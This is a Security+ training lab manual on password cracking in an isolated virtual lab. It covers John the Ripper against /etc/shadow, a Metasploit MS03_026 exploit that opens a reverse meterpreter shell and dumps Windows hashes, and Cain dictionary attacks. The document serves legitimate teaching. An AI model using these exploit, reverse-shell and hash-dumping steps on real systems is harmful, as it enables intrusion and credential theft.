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Introduction 

 
This lab is part of a series of lab exercises designed through a grant initiative by the 
Center for Systems Security and Information Assurance (CSSIA) and the Network 
Development Group (NDG), funded by the National Science Foundation’s (NSF) 
Advanced Technological Education (ATE) program Department of Undergraduate 
Education (DUE) Award No. 0702872 and 1002746.  This work has been adapted by The 
Department of Labor (DOL) Trade Adjustment Assistance Community College and Career 
Training (TAACCCT) Grant No.  TC-22525-11-60-A-48.  This series of lab exercises is 
intended to support courseware for CompTIA Security+® certification. 
 
By the end of this lab, students will be able to crack the passwords of user accounts on 
Linux and Windows systems.  Students will use brute force techniques and dictionary 
attacks to crack the passwords of users on the Linux and Windows operating system. 
 
This lab includes the following tasks: 
 

1- Cracking Linux Passwords with John the Ripper 
2 - Cracking Windows Passwords with John the Ripper 
3- Cracking Windows Password with Cain 

 
 
Objective:  Analyze and differentiate among types of mitigation and 
deterrent techniques 
 

You may have read articles online describing situations where someone’s passwords 
were stolen and then used to gain access to an account in order to steal money.  The 
use of strong passwords is critical to protecting your accounts, as well as data and 
resources within an organization. 
 
John the Ripper – John the Ripper is an extremely fast password cracker that can crack 
passwords through a dictionary attack or through the use of brute force. 
 
shadow file – The shadow file stores information about user's accounts on a Linux 
system.  The shadow file also stores the encrypted password hashes, and has more 
restrictive permissions than the passwd file.  On most Linux systems, only the root 
account has the ability to read the contents of the shadow file. 
 
Cain – Cain is a password cracking suite that will allow an attacker to crack passwords 
through a dictionary attack, the use of brute force, or a rainbow table.  
 
passwd file – User accounts on a Linux system are listed in the passwd file, which is 
stored in the /etc directory.  The passwd file has less restrictive permissions than the 
shadow file because it does not store the encrypted password hashes.  On most Linux 
systems, any account has the ability to read the contents of the passwd file. 
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SAM files – The SAM, or Security Accounts Manager, file is a registry file in the 
Windows\system32\config directory that contains password hashes for user accounts. 
 
 
Pod Topology 

 

 

 Figure 1: Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 
 
Required Virtual Machines and Applications 
 
Log in to the following virtual machines before starting the tasks in this lab: 
 
 
BackTrack 5 Internal Attack Machine  

 
192.168.100.3 
 

 
BackTrack 5 root password 

 
password 
 

 
Windows 7 Internal Attack Machine  

 
192.168.100.5 
 

 
Windows 7 student password 

 
password 
 

 
 
BackTrack 5 Internal Attack Login: 

 
1. Click on the BackTrack 5 Internal Attack icon on the topology.  
2. Type root at the bt login: username prompt.  
3. Type password at the Password: prompt. 

 

For security purposes, the password will not be displayed.   

 

       

 Figure 2: BackTrack 5 login  

 

4. To start the GUI, type startx at the root@bt:~# prompt. 

  

 Figure 3: BackTrack 5 GUI start up 
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Windows 7 Internal Attack Login: 
 

1. Click on the Windows 7 Internal Attack icon on the topology.   
2. Enter the username, student  (verify the username with your instructor).  
3. Type in the password, password and hit enter to log in (verify the password with 

your instructor). 
 

  

 Figure 4: Windows 7 login 
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1 Cracking Linux Passwords 

 
John the Ripper is an extremely powerful password cracker.  It comes loaded by default 
on all versions of BackTrack, but is also available to download at 
www.openwall.com/john/. 
 

Keep in mind that Linux commands are case sensitive.  The commands below must be 
entered exactly as shown.  

 
 
1.1  Cracking Passwords on a Linux System using John the Ripper 

 
1. Open a terminal on the BackTrack 5 Internal Attack Machine by clicking on the 

picture to the right of the word System in the task bar in the top of the screen. 
 

 

 Figure 5:  The Terminal Windows within BackTrack  

 
2. Type the following command to view the user accounts on the system: 

 root@bt:~#cat /etc/passwd 
 

 

 Figure 6:  User Accounts on the Linux System 

 
First, we will be creating two groups, sesamestreet and simpsons.  We will be creating a 
total of six users, with three users in each group.  After creating each user and putting 
their account in their corresponding group, we will assign each user account a password. 
 

http://www.openwall.com/john/
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 The charts below show a summary of the users, groups and passwords for our accounts. 
 
   
  
 
 
 
 
 
 
 
 

 
 

 

 
3. Type the following command to add the group simpsons: 

 root@bt:~#groupadd simpsons 
 

 

 Figure 7:  Adding the Group simpsons 

 
4. Type the following command to add the group sesamestreet: 

 root@bt:~#groupadd sesamestreet 
 

 

 Figure 8:  Adding the Group sesamestreet 

 
5. Type the following command to add the view the group file: 

 root@bt:~#cat /etc/group 
 

 

 Figure 9:  Viewing the Group File 

 
If you scroll to the bottom of group file, you will see the groups that were created along 
with their corresponding unique group number.  
 

 

Figure 10:  The Group file 

 
Group: sesamestreet 

 

 
User 

 
Password 

 

 
elmo 

 

 
123123 

 
cookie 

 
123456789 

 

 
oscar 

 
1sanjose 

 

 

 
Group: simpsons 

 

 
User 

 
Password 

 

 
bart 

 
2welcome 

 

 
lisa 

 
academic 

 

 
homer 

 

 
acapulco 
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You can add users to the system in Linux by typing the useradd command.  The useradd 
command will automatically create a directory with that user’s name within the /home 
directory.  When the user logs in, they will be placed into their directory within /home. 
 

6. To add a user named elmo and put him in the sesamestreet group, type: 
 root@bt:~#useradd elmo  –g sesamestreet 
 

 

 Figure 11:  Adding the user elmo 

 
7. To add a user named cookie and put him in the sesamestreet group, type: 

 root@bt:~#useradd cookie  –g sesamestreet 
 

  

 Figure 12:  Adding the user cookie 

 
8. To add a user named oscar and put him in the sesamestreet group, type: 

 root@bt:~#useradd oscar  –g sesamestreet 
 

  

 Figure 13:  Adding the user oscar 

 
9. To add a user named bart and put him in the simpsons group, type: 

 root@bt:~#useradd bart  –g simpsons 
 

  

 Figure 14:  Adding the user bart 

 
10. To add a user named lisa and put her in the simpsons group, type: 

 root@bt:~#useradd lisa  –g simpsons 
 

  

 Figure 15:  Adding the user lisa 

 
11. To add a user named homer and put him in the simpsons group, type: 

 root@bt:~#useradd homer  –g simpsons 
 

 

 Figure 16:  Adding the user homer 
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12. Type the following command to view the user accounts on the system: 
 root@bt:~#cat /etc/passwd | grep home 
 

 

 Figure 17:  Viewing the users in the /etc/passwd file 

 
You can view the /etc/passwd file by using the cat command.  However, the file is quite 
long.  We can use the grep command, which stands for Global Regular Expressions, to 
filter our results.  All of the users we created have a home directory, so we can narrow 
down the output we are viewing by GREPing for the word home in the /etc/passwd file.  
 
When groups are added first, followed by users being added and put into the groups as 
they are created, you will have a structure where permissions can be set effectively. 
 
Next, we will give each user a password.  We will use simple passwords for this exercise, 
but that should never be done on a production system.  In a non-lab environment, avoid 
dictionary words because attackers can use programs like John the Ripper to crack short 
passwords or passwords that are found in a dictionary.  On production accounts and 
systems, stick to passwords with a minimum of eight characters, uppercase and 
lowercase letters, and special characters.  Note: For security reasons, the password will 
not be displayed when you type it. 
 

13. Type the following to give elmo a password.  Type 123123 twice for the 
password: 

 root@bt:~#passwd elmo 
 

 

 Figure 18:  Giving the user a Password 

 
You should receive the message, password updated successfully. 
 



    
 
Lab 13:  Mitigation and Deterrent Techniques - Password Cracking 
   

 
8/2/2013 Copyright © 2013 CSSIA, NISGTC Page 11 of 33  

14. Type the following to give cookie a password.  Type 123456789 twice as the 
password: 

 root@bt:~#passwd cookie 
 

 

 Figure 19:  Giving the user a Password 

 
15. Type the following to give oscar a password.  Type 1sanjose twice as the 

password: 
 root@bt:~#passwd oscar 
 

 

 Figure 20:  Giving the user a Password 

 
16. Type the following to give bart a password.  Type 2welcome twice as the 

password: 
 root@bt:~#passwd bart 
 

 

 Figure 21:  Giving the user a Password 

 
17. Type the following to give lisa a password.  Type academic twice as the 

password: 
root@bt:~#passwd lisa 

 

 

 Figure 22:  Giving the user a Password 
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18. Type the following to give homer a password.  Type acapulco twice as the 
password: 

 root@bt:~#passwd homer 
 

 

 Figure 23:  Giving the user a Password 

 
Another way to filter our results is to use the Linux commands head and tail.  Head will 
show you the first ten lines of a file and Tail will show you the last ten lines of a file. 
You can specify the number of lines you want to see by adding  –n before the number. 
 

19. Type the following command to view the created users in the passwd file: 
 root@bt:~#tail –n 6 /etc/passwd 
 

 

 Figure 24:  Displaying the passwd file 

 
20. Type the following command to view the created users in the shadow file: 

 root@bt:~# tail –n 6  /etc/shadow 
 

The shadow file stores information about user's accounts on a Linux system.   

 

Figure 25:  Displaying the shadow file 
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21. Switch to the john directory on BackTrack 5 Internal Attack Machine by typing 
the following command: 

 root@bt:~# cd /pentest/passwords/john 
 

 

 Figure 26:  Switching to the john directory 

 
22. Type the following command to see the available switches for the john 

command: 
 root@bt:/pentest/passwords/john# ./john 
 

 

 Figure 27:  The john command 

 
23. Type the following command to view the password hashes in the shadow file:  

root@bt:/pentest/passwords/john# ./john /etc/shadow --wordlist=/root/Wordlist.txt 
 

 

Figure 28:  Cracking the Passwords 

 

Entering the command allowed John the Ripper to crack the passwords.  Notice the 
passwords revealed in the figure above. 

 
24. After all six passwords are revealed; hit CTRL-C to stop John the Ripper and close 

the terminal. 
 
 



    
 
Lab 13:  Mitigation and Deterrent Techniques - Password Cracking 
   

 
8/2/2013 Copyright © 2013 CSSIA, NISGTC Page 14 of 33  

1.2  Conclusion 

 
John the Ripper is a powerful password cracking tool that can crack user’s passwords via 
a dictionary attack or through brute force methods.  In order to prevent user's 
passwords from being cracked,  enforce the use of passwords with a minimum of eight 
characters, uppercase and lowercase letters, and special characters. 
 
 
1.3  Discussion Questions 

 
1. What is the command to add a group to the system in Linux? 
2. What is the command to give a user a password in Linux? 
3. What is the command to add a user to the system in Linux? 
4. Where is the user’s encrypted password hash stored on a Linux system? 
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2 Cracking Windows Passwords 

 
John the Ripper is an extremely powerful password cracker that may also be used to 
crack passwords on Windows systems.  It comes loaded by default on all versions of 
BackTrack, but is also available to be downloaded at www.openwall.com/john/. 
 
 
2.1 Cracking Windows Passwords Using John the Ripper 

 
1. Open a terminal within BackTrack 5 system by clicking on the terminal icon in the 

top left corner and type msfconsole to launch Metasploit.  The banner you see 
may be different from the one in the picture below.  Type banner to change the 
banner.   
root@bt:~#msfconsole 
 

 

Figure 29:  The msfconsole of Metasploit  

http://www.openwall.com/john/
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2. At the msf prompt, you can type the ?  to see a list of available commands 
 msf > ? 
 

 

 Figure 30:  Commands Available within Msfconsole 

 
Not all of the available commands are displayed when you type ?.  For example, the 
ifconfig and nmap programs loaded on the BackTrack operating system can be used.   
 

3. To view the IP address of the BackTrack machine (attacker), type the following: 
 msf > ifconfig  
 

 

Figure 31: The ifconfig command run within msfconsole 

 
The ifconfig command comes in handy if you forget the IP address of the attacking 
machine or if you are using DHCP and are unsure what IP address is in use. 
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4. Another handy command that can be used within msfconsole is nmap. 
To see all of the switches that can be used with the nmap command, type:  

 msf > nmap 
 

 

      Figure 32:  Switches Available for Nmap 

 
5. To view what other machines are alive on the subnet, type:  

 msf > nmap –sP 192.168.100.* 
 

 

 Figure 33:  Searching for Exploitable hosts within the Metasploit Framework 
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Our machine has the IP address of 192.168.100.3.  The victim is 192.168.100.201. 
 

 

Figure 34: The Nmap Scan identifies the Attacker and the Victim 

 
6. Type the following to perform an Operating System Scan of the remote host 

 msf > nmap –O 192.168.100.201 
 

 

 Figure 35:  An Operating System Scan of the Victim 
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Since, according to the previous nmap operating system scan results, it is a Windows 
2003 box without a service pack, it will be vulnerable to the following exploit: 
 

 MS03_026 - Windows RPC DCOM Interface Overflow  
 
You can get more detail about this vulnerability at the following link: 
 http://www.nsfocus.com/english/homepage/research/0306.htm   
 

7. Search for an RPC exploit by typing search ms03_026 at the msf console 
 msf > search ms03_026 
 

 

 Figure 36:  Searching for the MS03_026 Vulnerability 

 
8. To use MS03_026  exploit, type the following command into the msf console:  

 msf > use exploit/windows/dcerpc/ms03_026_dcom 
 

 

 Figure 37:  Using the exploit 

 
9. Let’s examine the first of the RPC vulnerabilities in the list, the first of which, is:  

 msf exploit(ms03_026_dcom) > show options 
 

 

 Figure 38: Showing the Options for the Exploit 

http://www.nsfocus.com/english/homepage/research/0306.htm
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10. Type the following command to get information about the particular exploit: 
 msf exploit(ms03_026_dcom) > info 
 

 

 Figure 39: Showing Information about the Exploit 

 
The exploit requires port 135 to be open on the victim machine.  This port was open 
when we performed an operating system scan on the victim machine using nmap.  
Nevertheless, we can run the scan again against the victim machine, verifying that port 
135 is open. 
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11. Type the following command to scan for port 135 on the victim machine: 
 msf exploit(ms03_026_dcom) > nmap 192.168.100.201 –p 135 
 

 

 Figure 40: Scanning to Determine if Port 135 is open 

 
To attack the remote machine, we need to set the target IP address, or rhost. 
 

12. Type the following command to set the rhost within Metasploit: 
 msf exploit(ms03_026_dcom) > set rhost 192.168.100.201 
 

 

 Figure 41: Setting the Remote Host 

 
Next, we will need to set a payload.  Examples are meterpreter and command shells. 
 

13. Type the following command to set the payload within Metasploit: 
 msf exploit(ms03_026_dcom) > set payload windows/meterpreter/reverse_tcp 
 

 

Figure 42: Setting the Payload 

 
We need to provide the IP address of the machine to send meterpreter to, or lhost. 
 

14. Type the following command to set the lhost within Metasploit: 
 msf exploit(ms03_026_dcom) > set lhost 192.168.100.3 
 

 

 Figure 43: Setting the Local Host 
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15. Type the following command to verify all options within Metasploit: 
 msf exploit(ms03_026_dcom) > show options 
 

 

Figure 44: Showing the Options 

 
16. Type the following command to exploit the target within Metasploit: 

 msf exploit(ms03_026_dcom) > exploit 
 

 

Figure 45: Exploiting the Victim Machine 

 
If the exploit works, you will receive  the message, meterpreter session 1 opened. 
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17. Type the following command at the meterpreter prompt to dump the hashes: 
 meterpreter> hashdump 
 

 

Figure 46: Dumping the Password Hashes 

 
18. Highlight all of the hashes, right-click and Copy them. 

 

 

 Figure 47: Copying the Password hashes 

 



    
 
Lab 13:  Mitigation and Deterrent Techniques - Password Cracking 
   

 
8/2/2013 Copyright © 2013 CSSIA, NISGTC Page 24 of 33  

19. Open another terminal and type the following to start the gedit editor and 
create a winhashes file: 

 root@bt:~# gedit winhashes 
 

 

 Figure 48: Using gedit to make a file 

 
20. If  the window does not automatically populate with the copied hash, select Edit, 

then Paste to paste all of the hashes.  Click Save and close the winhashes file. 
 

 

 Figure 49:  Paste all Hashes 

 
21. Open a new terminal and switch to the john directory by typing the following 

command: 
 root@bt:~# cd /pentest/passwords/john 
 

 

 Figure 50:  Switching to the john directory 
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22. Type the following command to crack the password hashes.  This will take 
several minutes. 

 root@bt:~/pentest/passwords/john#./john /root/winhashes 
 

It may take several minutes for this step to complete. 

 

 

 Figure 51: Cracking Passwords 

 
23. Close all open terminals when finished with this task. 
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2.2  Conclusion 

 
The MS03_026 - Windows RPC DCOM Interface Overflow exploit can be used against 
some versions of Microsoft operating systems that have port 135 open.  If an attacker is 
able to successfully exploit a target, they can use the hashdump command to dump the 
hashes on the remote system.  John the ripper can then be used to crack the passwords. 
 
 
2.3  Discussion Questions 

 
1. How can you learn more information about a particular exploit? 
2. What is the command to dump the password hashes in meterpreter? 
3. What port needs to be open in order to use the DCOM RPC exploit? 
4. What directory is John the Ripper located in on BackTrack? 
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3 Cracking Windows Passwords with Cain 

 
John the Ripper is a very good password cracking program for Linux, Mac, and Windows.  
It can be downloaded from: http://www.openwall.com/john/.  Cain is a Windows 
password cracking program for Windows that can be downloaded from www.oxid.it  
One disadvantage of Cain is that it is classified as a virus by most AV vendors. 
 
 
3.1  Using Cain 

 
Creating accounts 
 

1. Click on the icon representing the Windows 7 Internal Attack Machine.  Open a 
command prompt on the Windows 7 machine by double clicking on the cmd.exe 
shortcut on the desktop. 

 

 

 Figure 52: Opening a Shortcut to Command Prompt 

 
In the next step, we will add users with passwords from the command prompt.  Users 
can also be added using Local Users and Groups within Computer Management. 
 

2. Type the following to create a user called user1 with the password of allgood. 
 C:\>net user user1 allgood /add 
 

 

Figure 53:  Creating a user 

 
You should receive the message from the operating system that, the command 
completed successfully. 
 

http://www.openwall.com/john/
http://www.oxid.it/
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3. Type the following to create a user called user2 with the password of 
allocaffeine. 

 C:\>net user user2 allocaffeine /add 
 

 

 Figure 54:  Creating a user 

 
You should receive the message from the operating system that the command 
completed successfully. 
 

4. Type the following to create a user called user3 with the password of barricade. 
 C:\>net user user3 barricade /add 
 

 

 Figure 55:  Creating a user 

 
You should receive the message from the operating system that the command 
completed successfully.  Close the command prompt 
 

5. Open Cain by clicking on the shortcut on the desktop. 
 

 

 Figure 56:  Opening Cain 
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6. Click on the Cracker Tab (with the Key icon) in the middle of the Cain program.  
Right click on in the right pane and select Add to list.  Make sure both the 
checkbox next to Import Hashes from local system is selected and the checkbox 
next to Include Password History Hashes is selected, then click the Next button.  
The users will then appear in the list, along with their corresponding LAN 
Manager (LM) and New technology LAN Manager (NTLM) hashes.  A key to the 
left of the username indicates the password is cracked.  In this case, 
administrator and guest have blank passwords. 

 

 

Figure 57:  Adding the User List within Cain 

 
The LM password hash was used in Microsoft operating systems prior to Windows Vista.  
The NTLM password hash, which is much more secure, is used with Vista and higher. 
 

7. Hold down the shift key.  Click on user1, user2, and user3.  Right click, and select 
Dictionary Attack, and then select NTLM hashes, because this is Windows 7. 

 

 

 Figure 58:  Selecting the Users within Cain 
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8. If the Wordlist.txt file is not already loaded in Dictionary area,  right click in the 
top pane and select Add to list. 
 

 

 Figure 59:  Selecting the Users within Cain 

 
9. Double-click the Worldlists folder within the C:\Program Files\Cain folder. 

 

 

 Figure 60:  Selecting the Wordlists Folder 

 
10. Select the Wordlist.txt dictionary file within the Wordlists folder and then click 

Open 
 

 

 Figure 61:  Selecting the Wordlist.txt File 
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11. Click the Start button at the bottom of the dictionary attack screen.  The cracked 
passwords should appear in the bottom pane within a few minutes. 

 

 

    Figure 62:  The passwords are Cracked 

 

There is a possibility that Cain will not crack all 3 passwords.  If it does not, simply 
continue with the lab. 

 
12. When Cain has finished cracking the passwords, click the Exit button to close the 

program. 
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3.2  Conclusion 

 
Cracking Windows passwords can be accomplished with Cain, a tool available from 
www.oxid.it.  There are two types of Windows password hashes used for local accounts, 
LAN Manager (LM) and New technology LAN Manager (NTLM) hashes.  The LM 
password hash was used in Microsoft operating system prior to Windows Vista.  The 
NTLM password hash, which is much more secure, is used with Windows Vista and 
higher operating systems. 
 
 
3.3  Discussion Questions 

 
1. What Windows operating systems exclusively use the NTLM hash? 
2. What Windows operating systems use the LM hash? 
3. Where can someone obtain Cain? 
4. What is a disadvantage of using Cain? 

  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
  

http://www.oxid.it/
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